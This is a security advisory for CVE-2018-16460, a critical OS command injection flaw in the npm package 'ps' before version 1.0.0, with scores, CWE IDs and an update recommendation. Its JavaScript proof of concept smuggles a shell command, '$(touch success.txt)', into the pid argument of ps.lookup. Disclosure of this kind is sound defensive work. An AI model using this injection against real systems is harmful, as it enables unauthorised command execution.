CVE-2018-16460 – ps
Package
Manager: npm
Name: ps
Vulnerable Version: >=0 <1.0.0
Severity
Level: Critical
CVSS v3.1: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS: 0.03672 pctl0.87434
Details
ps Enables OS Command Injection Versions of `ps` before 1.0.0 are vulnerable to command injection. ### Proof of concept: ```js var ps = require('ps'); ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection if (err) {throw err;} if (proc) { console.log(proc); // Process name, something like "node" or "bash" } else { console.log('No such process'); } }); // Result: The file success.txt will exist on the filesystem if the touch command was executed ``` ## Recommendation Update to version 1.0.0 or later.
Metadata
Created: 2018-09-17T20:43:59Z
Modified: 2023-09-11T18:21:34Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/09/GHSA-cfhg-9x44-78h2/GHSA-cfhg-9x44-78h2.json
CWE IDs: ["CWE-77", "CWE-78"]
Alternative ID: GHSA-cfhg-9x44-78h2
Finding: F404
Auto approve: 1